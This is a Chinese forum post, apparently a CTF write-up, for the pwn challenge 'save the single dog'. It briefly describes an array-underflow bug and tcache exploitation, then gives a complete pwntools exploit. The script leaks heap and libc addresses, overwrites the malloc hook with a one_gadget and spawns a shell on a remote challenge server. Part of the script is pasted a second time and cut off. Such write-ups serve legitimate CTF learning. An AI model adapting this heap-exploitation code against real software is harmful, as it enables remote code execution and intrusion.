首页
社区
课程
招聘
[原创]pizzatql-拯救单身狗-writeup
发表于: 2019-3-20 23:31 3229

[原创]pizzatql-拯救单身狗-writeup

2019-3-20 23:31
3229
拯救单身狗这题的漏洞点在edit singledog函数里面,这里面有个数组下届溢出,可以溢出到luckydog的数组,one,而luckydog的数组是一个结构体,里面有一个指针,这样就可以通过修改指针,来释放任意内存。
又在开始泄露程序堆地址的时候,推测有tcache,所以就可以直接用tcache来打(很奇怪,本地的堆结构和远程的不一样,差一个0x410,难道远程的io buf没有释放掉?嘛,反正加上一个fix就可以了)
最后利用代码:
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def singledog(name):
p.recvuntil('>>\n')
p.sendline('1')
p.recvuntil('Name:\n')
p.send(name)

def luckydog(name, pname):
p.recvuntil('>>\n')
p.sendline('2')
p.recvuntil('Name\n')
p.send(name)
p.recvuntil('name\n')
p.send(pname)

def edit_singledog(idx, name):
p.recvuntil('>>\n')
p.sendline('3')
p.recvuntil('which?\n')
p.sendline(str(idx))
p.recvuntil('luck.\n')
p.send(name)

def edit_luckydog(idx, name, pname):
p.recvuntil('>>\n')
p.sendline('4')
p.recvuntil('which?\n')
p.sendline(str(idx))
p.recvuntil('name?\n')
p.send(name)
p.recvuntil('name\n')
p.send(pname)

def save_singledog():
p.recvuntil('>>\n')
p.sendline('5')

def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./apwn')
gdb.attach(p)
else:
p = remote(ip, port)

malloc_offest = 0x3ebc30
one_gadget = 0x4f2c5
one_gadget = 0x4f322
one_gadget = 0xe569f
one_gadget = 0xe5858
one_gadget = 0xe585f
one_gadget = 0xe5863
one_gadget = 0x10a38c
# one_gadget = 0x10a398

singledog('swing'.ljust(8, '\x00') + p64(0x531))
for i in range(28):
singledog('swing')
luckydog('dinglao', 'nvpengyou')

edit_singledog(80, 'a')

p.recvuntil("name: ")
heap_addr = u64(p.recvn(6) + '\x00' * 2) & ~(0xfff)
log.info('heap addr is : ' + hex(heap_addr))

fix = 0
if debug == 0:
fix = - 0x410

edit_singledog(80, p64(heap_addr + 0x680 + fix))
save_singledog()
edit_singledog(0, 'a' * 0x10)
p.recvuntil('a' * 0x10)
libc_addr = u64(p.recvn(6) + '\x00' * 2) - 0x3ebca0
log.info('libc addr is : ' + hex(libc_addr))
edit_singledog(80, p64(heap_addr + 0xc10 + fix))
save_singledog()
edit_singledog(80, p64(heap_addr + 0xc10 + fix))
save_singledog()
singledog(p64(libc_addr + malloc_offest))
singledog('swing')
singledog(p64(libc_addr + one_gadget))
p.recvuntil('>>\n')
p.sendline('1')

p.interactive()

if __name__ == '__main__':
GameStart('211.159.175.39', 8686, 0)

from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def singledog(name):
p.recvuntil('>>\n')
p.sendline('1')
p.recvuntil('Name:\n')
p.send(name)

def luckydog(name, pname):
p.recvuntil('>>\n')
p.sendline('2')
p.recvuntil('Name\n')
p.send(name)
p.recvuntil('name\n')
p.send(pname)

def edit_singledog(idx, name):
p.recvuntil('>>\n')
p.sendline('3')
p.recvuntil('which?\n')
p.sendline(str(idx))
p.recvuntil('luck.\n')
p.send(name)

def edit_luckydog(idx, name, pname):
p.recvuntil('>>\n')
p.sendline('4')
p.recvuntil('which?\n')
p.sendline(str(idx))
p.recvuntil('name?\n')
p.send(name)
p.recvuntil('name\n')
p.send(pname)

def save_singledog():
p.recvuntil('>>\n')
p.sendline('5')

def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./apwn')
gdb.attach(p)
else:

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//